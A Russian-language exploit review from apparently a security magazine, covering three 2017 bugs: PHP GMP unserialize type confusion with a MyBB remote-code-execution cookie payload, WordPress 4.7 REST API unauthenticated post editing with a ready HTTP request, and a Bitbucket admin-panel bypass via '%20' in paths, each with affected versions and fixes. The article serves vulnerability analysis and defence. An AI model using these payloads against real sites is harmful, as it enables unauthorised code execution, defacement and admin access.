Содержание статьи
Выполнение произвольного кода в PHP через GMP
Дата релиза: 20 января 2017 года
Автор: Чэнь Таогуан (Taoguang Chen) @chtg57
BRIEF
Корень проблемы кроется в ошибке несоответствия используемых типов данных (type confusion) в механизме десериализации GMP (GNU MP). Используя переменные магического метода __wakeup()
, специально сформированный объект после восстановления способен изменить свойства уже существующих объектов. Это может привести к различным уязвимостям: от XSS и SQLi до RCE, в зависимости от реализации логики приложения.
EXPLOIT
GMP (GNU Multi-Precision) — это библиотека для проведения вычислений с плавающей запятой и работы с числами произвольной точности. Для начала рассмотрим небольшой PoC, который демонстрирует уязвимость.
1: <?php
2: class obj
3: {
4: var $test;
5:
6: function __wakeup()
7: {
8: $this->test = 1;
9: }
10: }
11:
12: $obj = new stdClass; // $obj handle = 1
13: $obj->var1 = 1;
14: $obj->var2 = 2;
15:
16: $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}';
17: $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
18: $x = unserialize($exploit); // $x handle = 2
19: var_dump($obj);
Если версия PHP уязвима, то результатом выполнения будут измененные свойства var1 и var2 объекта $obj.
Каждая переменная в PHP представляет собой структуру, называемую ZVAL
. Она содержит в себе несколько полей, которые относятся к переменной: тип, значение, число ссылающихся переменных и флаг, означающий, что переменная является ссылкой.
typedef struct _zval_struct {
zvalue_value value;
zend_uint refcount__gc;
zend_uchar type;
zend_uchar is_ref__gc;
} zval;
Сейчас нас интересуют только тип и значение. Тип переменной хранится как целочисленная метка и может меняться при выполнении программы. Ведь, как ты знаешь, PHP — это язык с динамической типизацией данных. Само же значение переменной хранится в union
. Вот его структура:
typedef union _zvalue_value {
long lval; // For booleans, integers and resources
double dval; // For floating point numbers
struct { // For strings
char *val; // string value
int len; // string length
} str;
HashTable *ht; // For arrays
zend_object_value obj; // For objects
zend_ast *ast; // For constant expressions
} zvalue_value;
Особенность этого типа в том, что данные хранятся в определенной области памяти и значение в ней интерпретируется исходя из имени, к которому происходит обращение. Например, если создадим переменную $x=1
, то ее ZVAL
будет выглядеть примерно так:
$x = {
value = {
lval = 0x1,
dval = 2.121995791459338e-314,
...
obj = {
handle = 0x1,
handlers = 0x1
},
},
type = 0x1,
...
}
Тип переменной — int, поэтому в интерпретации ZVAL
используется метка IS_LONG
(type = 0x1).
#define IS_LONG 1 /* Uses lval */
То есть при обращении к этой переменной нужно будет пользоваться именем $x.lval
, а если попробовать обратиться к $x.dval
, то мы получим уже совершенно другое значение. Запомни эту особенность, она нам понадобится для понимания уязвимости.
Подробнее об устройстве и хранении данных в PHP ты можешь прочитать в руководстве на сайте, в книге PHP Internals или в статье на Хабре.
Теперь, вооружившись отладчиком, мы возвращаемся к описанию бага. Наше увлекательное путешествие начинается с файла gmp.c
, в котором мы посмотрим на функцию десериализации:
...
629: static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC)
630: {
...
643: ALLOC_INIT_ZVAL(zv_ptr);
644: if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
645: || Z_TYPE_P(zv_ptr) != IS_STRING
646: || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
647: ) {
648: zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
649: goto exit;
650: }
...
653: ALLOC_INIT_ZVAL(zv_ptr);
654: if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
655: || Z_TYPE_P(zv_ptr) != IS_ARRAY
656: ) {
657: zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
658: goto exit;
659: }
660:
661: if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
662: zend_hash_copy(
663: zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
664: (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
665: );
666: }
Поставим брейки на строки 650 и 660, чтобы посмотреть, как изменяется object
во время работы функции. Сначала восстанавливается сам класс GMP (строка 644). Если все прошло успешно, то наш object
выглядит таким образом:
gdb-peda$ p **object
$71 = {
value = {
lval = 0x2,
dval = 2.3274185658458967e-267,
str = {
val = 0x2 <error: Cannot access memory at address 0x2>,
len = 0x8933640
},
ht = 0x2,
obj = {
handle = 0x2,
handlers = 0x8933640 <gmp_object_handlers>
},
ast = 0x2
},
refcount__gc = 0x1,
type = 0x5,
is_ref__gc = 0x0
}
По типу можно видеть, что это объект (type = 0x5
):
#define IS_OBJECT 5 /* Uses obj */
У каждого объекта есть хендл (handle). Это уникальный идентификатор, который инкрементируется всякий раз, когда ты создаешь экземпляр класса. Для примера возьмем такой код:
$a = new stdClass(); // handle = 1
$b = new stdClass(); // handle = 2
$c = new stdClass(); // handle = 3
Хендл объекта $c
будет равен 3, потому что их отсчет начинается с единицы. По этому номеру из общего хранилища объектов можно получить данные, принадлежащие искомому.
Возвращаемся к нашему тестовому скрипту. Дальше идет десериализация атрибутов — строка 654. Тут происходит небольшая магия. Обрати внимание на последнюю часть сериализованных данных — O:3:"obj":1:{s:4:"test";R:2;}}'
. Здесь атрибут obj->test
— это ссылка на весь десериализованный объект (R:2;)
. Еще в классе obj
присутствует магический метод __wakeup
, который присваивает единицу свойству test
. Поэтому после восстановления object
конвертируется в совершенно другой ZVAL
, который теперь имеет тип не объекта, а целочисленной переменной со значением, равным единице (строка 660).
gdb-peda$ p **object
$77 = {
value = {
lval = 0x1,
dval = 2.121995791459338e-314,
str = {
val = 0x1 <error: Cannot access memory at address 0x1>,
len = 0x1
},
ht = 0x1,
obj = {
handle = 0x1,
handlers = 0x1
},
ast = 0x1
},
refcount__gc = 0x3,
type = 0x1,
is_ref__gc = 0x1
}
Дальше функция zend_hash_copy
копирует данные object
в переменную $x
. Но сначала эти данные извлекаются с помощью zend_std_get_properties
:
105: ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC)
106: {
107: zend_object *zobj;
108: zobj = Z_OBJ_P(object);
109: if (!zobj->properties) {
110: rebuild_object_properties(zobj);
111: }
112: return zobj->properties;
113: }
Мы близки к развязке. Проблемный участок кода находится в строке 108. Что же делает Z_OBJ_P
?
35: #define Z_OBJ_P(zval_p)
36: ((zend_object*)(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(zval_p)].bucket.obj.object))
Из общего хранилища (EG(objects_store))
извлекается объект, у которого handle = object.value.obj.handle
(object_buckets[Z_OBJ_HANDLE_P(zval_p)]
).
448: #define Z_OBJVAL(zval) (zval).value.obj
449: #define Z_OBJ_HANDLE(zval) Z_OBJVAL(zval).handle
...
468: #define Z_OBJ_HANDLE_P(zval_p) Z_OBJ_HANDLE(*zval_p)
Здесь мы запрашиваем значение ZVAL
, не глядя на его тип. Вспомни, что я рассказывал про структуру переменных в PHP: в памяти хранится одно и то же значение, а его интерпретация зависит только от того, как к нему обращаются. Вот тут наша единица становится хендлом, который используется для нахождения объекта:
gdb-peda$ p object.value.obj.handle
$79 = 0x1
Под номером один у нас $obj
(строка 12, скрипт test.php
). Поэтому все свойства после десериализации записываются в него, что и открывает возможность для эксплуатации.
Установка хендлов через DateInterval
Как вручную задавать хендлы для изменения свойств нужных нам объектов? Для этого воспользуемся классом DateInterval
. Местный магический метод __wakeup
использует функцию convert_to_long()
и может перезаписывать свойства своего же объекта. Подробнее об этом можешь прочитать на Гитхабе автора эксплоита.
С помощью функции gmp_cast_object()
мы можем преобразовать объект в любой числовой ZVAL
, чтобы затем использовать его для перезаписи объектов с нужными хендлами.
436: static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
437: {
438: mpz_ptr gmpnum;
439: switch (type) {
...
445: case IS_LONG:
446: gmpnum = GET_GMP_FROM_ZVAL(readobj);
447: INIT_PZVAL(writeobj);
448: ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
449: return SUCCESS;
Посмотри на результат работы этого скрипта.
<?php
$a = new stdClass; // handle = 1
$a->test = false;
echo('Property $a->test is: ');
var_dump($a->test);
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}');
echo('Property $a->test changed to: ');
var_dump($a->test);
К сожалению, этот эксплоит работает только на PHP 5.6.11 или младше. Теперь перейдем к более жизненному примеру — RCE в движке форума MyBB.
Уязвимость в MyBB < 1.8.4 RCE
MyBB использует функцию десериализации при запросе информации о прочитанных форумах. Эти данные берутся из переменной $_COOKIE[mybb][forumread]
, а значит, мы можем контролировать их.
index.php:
336: if(isset($mybb->cookies['mybb']['forumread']))
337: {
338: $forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
339: }
/inc/functions.php:
1915: function my_unserialize($data)
1916: {
...
1923: $array = unserialize($data);
...
1930: return $array;
В MyBB для парсинга шаблонов используется функция eval()
.
index.php:
389: eval('$index = "'.$templates->get('index').'";');
Посмотрим, как работает метод get
из класса, отвечающего за работу с шаблонами.
/inc/class_templates.php:
011: class templates
012: {
...
025: public $cache = array();
...
064: function get($title, $eslashes=1, $htmlcomments=1)
065: {
066: global $db, $theme, $mybb;
...
105: $template = $this->cache[$title];
...
123: return $template;
Объект $templates
создается в файле init.php
. Для того чтобы его изменить, нам нужно узнать его handle
.
/inc/init.php:
042: $error_handler = new errorHandler(); // 1
...
052: $maintimer = new timer(); // 2
...
055: $mybb = new MyBB; // 3
...
108: switch($config['database']['type']) // 4
109: {
110: case "sqlite":
111: $db = new DB_SQLite;
112: break;
113: case "pgsql":
114: $db = new DB_PgSQL;
115: break;
116: case "mysqli":
117: $db = new DB_MySQLi;
118: break;
119: default:
120: $db = new DB_MySQL;
121: }
...
131: $templates = new templates; // 5
Искомый номер равен пяти. Снова воспользуемся трюком с классом DateInterval
, чтобы преобразовать объект GMP в числовую переменную со значением 5
.
a:1:{i:0;C:3:"GMP":106:{s:1:"5";a:2:{s:5:"cache";a:1:{s:5:"index";s:14:"{${phpinfo()}}";}i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}
Устанавливаем полученное значение в куку mybb[forumread]
, заходим на главную страницу и наблюдаем информацию о PHP.
TARGETS
PHP: 5.6.0–5.6.30;
MyBB exploit: MyBB <= 1.8.3, PHP <= 5.6.11.
SOLUTION
Доступны свежие версии PHP, в которых уязвимость устранена.
Внедрение контента в WordPress
Дата релиза: 1 февраля 2017 года
Автор: Марк-Александр Монпа (Marc-Alexandre Montpas) @MarcS0h
BRIEF
Проблема заключается в неверной логике обработки запросов к JSON REST API. Манипулируя с типами, злоумышленник может внести изменения в любую из записей на сайте, что при определенных условиях приведет к выполнению произвольного кода.
EXPLOIT
По умолчанию в WordPress с версии 4.7 включен REST API, через который можно получать полные тексты статей, просматривать комментарии и узнавать логины пользователей. О том, как это работает, лучше всего читай в документации.
Точка входа в API — http://wordpresssite.com/wp-json/wp/v2/
. Если на этой странице ты видишь кипу текста, значит, он работает. Посмотрев внимательно на JSON, можно заметить все роуты, методы и поля, которые можно использовать в запросе. Например, пройдя по пути /wp-json/wp/v2/users
, ты увидишь список пользователей.
В контексте данной уязвимости нас интересует роут /wp-json/wp/v2/posts
.
Так как я только что установил WordPress 4.7.1, то в блоге один-единственный пост — «Hello World!». Давай попробуем его изменить и посмотрим ближе на причины уязвимости.
Вот класс, который отвечает за обработку запросов к posts
.
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:
90: register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[d]+)', array(
Регулярка проверяет, чтобы в качестве ID поста передавалось только числовое значение. Однако при детальном рассмотрении того, как WP обрабатывает пользовательские данные, ты увидишь, что параметры, которые юзер передал через $_POST
и $_GET
, приоритетнее тех, что генерирует регулярное выражение. Это нетрудно выяснить опытным путем. Для демонстрации я создал еще одну запись в блоге (ID=4) и теперь обращусь к API с таким запросом: /wp-json/wp/v2/posts/1?id=4
.
Ага! Прочлась запись с ID=4
«Sample post for priority check», а не «Hello World!», как предполагалось. Теперь регулярка не сможет ограничить нас только числами, и можно передать что-то вроде 4qwe
в качестве ID. API вернет нам ту же самую запись, значит, где-то в коде используется приведение типов. Запомним этот момент и двинемся дальше — к возможности редактирования постов.
Как ты, наверное, знаешь, изменять данные в REST API можно с помощью POST-запросов. В нашем случае, чтобы отредактировать запись с id=
, я должен отправить запрос на /wp-json/wp/v2/posts/1
. Разумеется, если я попробую это сделать, то получу от ворот поворот в виде ошибки «Sorry, you are not allowed to edit this post».
Это вполне логичное поведение. Давай посмотрим на код.
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:
097: array(
098: 'methods' => WP_REST_Server::EDITABLE,
099: 'callback' => array( $this, 'update_item' ),
100: 'permission_callback' => array( $this, 'update_item_permissions_check' ),
101: 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
102: ),
За проверку прав отвечает метод update_item_permissions_check
.
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:
593: public function update_item_permissions_check( $request ) {
594:
595: $post = get_post( $request['id'] );
596: $post_type = get_post_type_object( $this->post_type );
Функция get_post
принимает значение id
прямиком из запроса, никак его не фильтруя. Если запись не была найдена, возвращается null
.
515: function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
...
519: if ( $post instanceof WP_Post ) {
520: $_post = $post;
521: } elseif ( is_object( $post ) ) {
...
530: } else {
531: $_post = WP_Post::get_instance( $post );
532: }
533:
534: if ( ! $_post )
535: return null;
Все последующие проверки внутри метода проверки прав идут лесом, в результате чего он возвращает true
. Дальше управление передается в функцию update_item
.
wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:
626: public function update_item( $request ) {
627: $id = (int) $request['id'];
628: $post = get_post( $id );
А вот здесь, перед тем как передать ID поста в функцию get_post
, оно приводится к целому (строка 627). В этой логике и заключается проблема. Мы можем передать невалидный id=1qwe
, который успешно пройдет проверку на редактирование. Дальше update_item
сделает из него валидный id=1
и выполнит обновление записи с этим ID. Подробнее узнать про такое поведение PHP в процессе приведения строк к числам можно в мануале.
Теперь соберем всё, что накопали, и проверим работоспособность. Попробуем изменить тестовую запись в блоге с id=1
под названием «Hello World!». Для этого отправляем POST-запрос:
POST /wp-json/wp/v2/posts/1337?id=1qwe HTTP/1.1
Host: wp.local
Content-Type: application/x-www-form-urlencoded
content=Changed+successfully
Пост успешно обновлен, без авторизации и СМС.
Существует несколько эксплоитов, которые автоматизируют процесс. Один из них ты можешь найти на сайте Exploit Database.
При наличии на сайте определенных тем и плагинов баг может превратиться в полноценную XSS и даже RCE. Многие плагины добавляют кастомные шорт-коды — небольшие макросы, которые можно использовать в тексте записей.
В общем, если у тебя есть блог на WordPress, не медли с обновлением движка до последней версии.
TARGETS
WordPress >= 4.7 < 4.7.2.
SOLUTION
Уязвимость исправлена в WordPress версии 4.7.2. Если же тебе совсем не нужен REST API, можешь отключить его при помощи плагина Disable REST API.
Обход формы авторизации в Bitbucket
Дата релиза: 18 января 2017 года
Автор: Антон «Bo0oM» Лопаницын @i_bo0om
BRIEF
Причина проблемы — неверный порядок обработки путей запросов. Сначала URL проходит проверку прав, а затем выполняется его фильтрация. Используя специальные символы в путях, можно получить доступ к областям приложения, которые закрыты авторизацией и доступны только привилегированным пользователям.
EXPLOIT
В качестве тестовой среды я буду использовать Windows 10 и Bitbucket Server 4.6.4. Приложение написано на Java, и в нем используется Spring Framework. Работает все это под управлением Apache Tomcat.
Уязвимость работает очень просто. Заходим в административную панель /admin
, и нас, как полагается, редиректит на авторизацию. Добавляем пробел к пути /admin%20/
, и мы внутри админки.
Как такое возможно? Давай глянем конфигурационные файлы.
WEB-INF/classes/security-context.xml:
121: <!--admin-->
122: <sec:intercept-url pattern="/mvc/admin/db" access="hasGlobalPermission('SYS_ADMIN')"/>
123: <sec:intercept-url pattern="/mvc/admin/db/**" access="hasGlobalPermission('SYS_ADMIN')"/>
124: <sec:intercept-url pattern="/mvc/admin/mail-server" access="hasGlobalPermission('SYS_ADMIN')"/>
125: <sec:intercept-url pattern="/mvc/admin/mail-server/**" access="hasGlobalPermission('SYS_ADMIN')"/>
126: <sec:intercept-url pattern="/mvc/admin/server-settings" access="hasGlobalPermission('SYS_ADMIN')"/>
127: <sec:intercept-url pattern="/mvc/admin/server-settings/**" access="hasGlobalPermission('SYS_ADMIN')"/>
128: <sec:intercept-url pattern="/mvc/admin" access="hasGlobalPermission('ADMIN')"/>
129: <sec:intercept-url pattern="/mvc/admin/**" access="hasGlobalPermission('ADMIN')"/>
130: <sec:intercept-url pattern="/mvc/maintenance/lock" method="POST" access="hasGlobalPermission('SYS_ADMIN')"/>
131: <sec:intercept-url pattern="/mvc/maintenance/upgrade-notification" method="DELETE"
132: access="hasGlobalPermission('SYS_ADMIN')"/>
При попытке загрузки этих путей приложение выполнит проверку прав текущего пользователя. Между делом тут можно приметить интересные URL, по которым стоит походить для сбора полезной информации.
Погружаемся в дебри фреймворка Spring, чтобы посмотреть, как происходит обработка запроса и проверка прав. Таблица с правилами собирается классом HttpConfigurationBuilder
:
org/springframework/security/config/http/HttpConfigurationBuilder.java:
137: public HttpConfigurationBuilder(Element element, ParserContext pc,
138: BeanReference portMapper, BeanReference portResolver, BeanReference authenticationManager) {
139: this.httpElt = element;
140: this.pc = pc;
141: this.portMapper = portMapper;
142: this.portResolver = portResolver;
143: this.matcherType = MatcherType.fromElement(element);
144: interceptUrls = DomUtils.getChildElementsByTagName(element, Elements.INTERCEPT_URL);
...
170: createFilterSecurityInterceptor(authenticationManager);
...
584: private void createFilterSecurityInterceptor(BeanReference authManager) {
585: boolean useExpressions = FilterInvocationSecurityMetadataSourceParser.isUseExpressions(httpElt);
586: RootBeanDefinition securityMds = FilterInvocationSecurityMetadataSourceParser.createSecurityMetadataSource(interceptUrls, httpElt, pc);
Следом метод createSecurityMetadataSource
превращает найденные в конфигурационном файле правила в набор фильтров.
org/springframework/security/config/http/FilterInvocationSecurityMetadataSourceParser.java:
063: static RootBeanDefinition createSecurityMetadataSource(List<Element> interceptUrls, Element elt, ParserContext pc) {
064: MatcherType matcherType = MatcherType.fromElement(elt);
065: boolean useExpressions = isUseExpressions(elt);
066:
067: ManagedMap<BeanDefinition, BeanDefinition> requestToAttributesMap = parseInterceptUrlsForFilterInvocationRequestMap(
068: matcherType, interceptUrls, useExpressions, pc);
...
106: private static ManagedMap<BeanDefinition, BeanDefinition>
107: parseInterceptUrlsForFilterInvocationRequestMap(MatcherType matcherType,
108: List<Element> urlElts, boolean useExpressions, ParserContext parserContext) {
109:
110: ManagedMap<BeanDefinition, BeanDefinition> filterInvocationDefinitionMap = new ManagedMap<BeanDefinition, BeanDefinition>();
...
129: BeanDefinition matcher = matcherType.createMatcher(path, method);
...
146: filterInvocationDefinitionMap.put(matcher, attributeBuilder.getBeanDefinition());
Этот массив будет использоваться в процедуре проверки приходящих на сервер запросов. При переходе по URL функция обработки решает, обладает ли пользователь требуемыми правами или нет.
Проблема в том, что после проверки к каждой части переданного пути применяется функция trim(), которая вырезает все символы с кодами ниже 0x20, находящиеся в начале или в конце строки.
org/springframework/util/AntPathMatcher.java:
068: public class AntPathMatcher implements PathMatcher {
...
084: private boolean trimTokens = true;
...
168: public boolean match(String pattern, String path) {
169: return doMatch(pattern, path, true, null);
170: }
...
185: protected boolean doMatch(String pattern, String path, boolean fullMatch, Map<String, String> uriTemplateVariables) {
...
190: String[] pattDirs = tokenizePattern(pattern);
191: String[] pathDirs = tokenizePath(path);
...
344: protected String[] tokenizePath(String path) {
345: return StringUtils.tokenizeToStringArray(path, this.pathSeparator, this.trimTokens, true);
346: }
org/springframework/util/StringUtils.java:
1009: public static String[] tokenizeToStringArray(
1010: String str, String delimiters, boolean trimTokens, boolean ignoreEmptyTokens) {
...
1019: if (trimTokens) {
1020: token = token.trim();
1021: }
Таким образом, относительный путь /admin%20/db%20/
свободно проходит проверку прав, ведь ни он, ни отдельные его части (admin%20
и db%20
) не подпадают под установленные фильтры.
WEB-INF/classes/security-context.xml:
122: <sec:intercept-url pattern="/mvc/admin/db" access="hasGlobalPermission('SYS_ADMIN')"/>
...
128: <sec:intercept-url pattern="/mvc/admin" access="hasGlobalPermission('ADMIN')"/>
Функция trim()
приводит путь к привычному виду /admin/db/
, и загружается страница управления коннектом к базе данных.
По идее, такой путь должен возвращать ошибку 404, так как нет ни соответствующих роутов, ни редиректов, ни папок с таким названием. Самое интересное, что эта URL-фильтрация конфигурируется. Она контролируется переменной trimTokens
, которая появилась еще в версии 3.2.1. По умолчанию переменная имеет значение true
, и я не совсем понимаю, почему было сделано именно так. Об этом даже сообщали разработчикам фреймворка, однако пофиксили это поведение совсем недавно.
Мисконфиги такого рода не редкость. Эта находка поможет тебе получить немного интересной информации о сервере и найти новые точки входа, поэтому смело добавляй ее в свой словарик для DirBuster. И советую прочитать статью Антона Лопаницина об этой атаке.
TARGETS
Bitbucket Server < 4.8.
SOLUTION
Следует обновиться до последней версии Bitbucket Server. Если по каким-то причинам нет возможности для обновления, то можешь отредактировать конфигурационный файл stash-mvc.xml
и найти в нем следующие строки:
WEB-INF/classes/stash-mvc.xml:
27: <mvc:annotation-driven validator="validator">
...
31: <mvc:path-matching suffix-pattern="false"/>
32: </mvc:annotation-driven>
Чтобы залатать дыру, их нужно заменить вот на это:
27: <mvc:annotation-driven validator="validator">
...
31: <mvc:path-matching suffix-pattern="false" path-matcher="pathMatcher" />
32: </mvc:annotation-driven>
И затем добавь еще вот эти три строки:
34: <bean id="pathMatcher" class="org.springframework.util.AntPathMatcher">
35: <property name="trimTokens" value="false" />
36: </bean>
На этом все!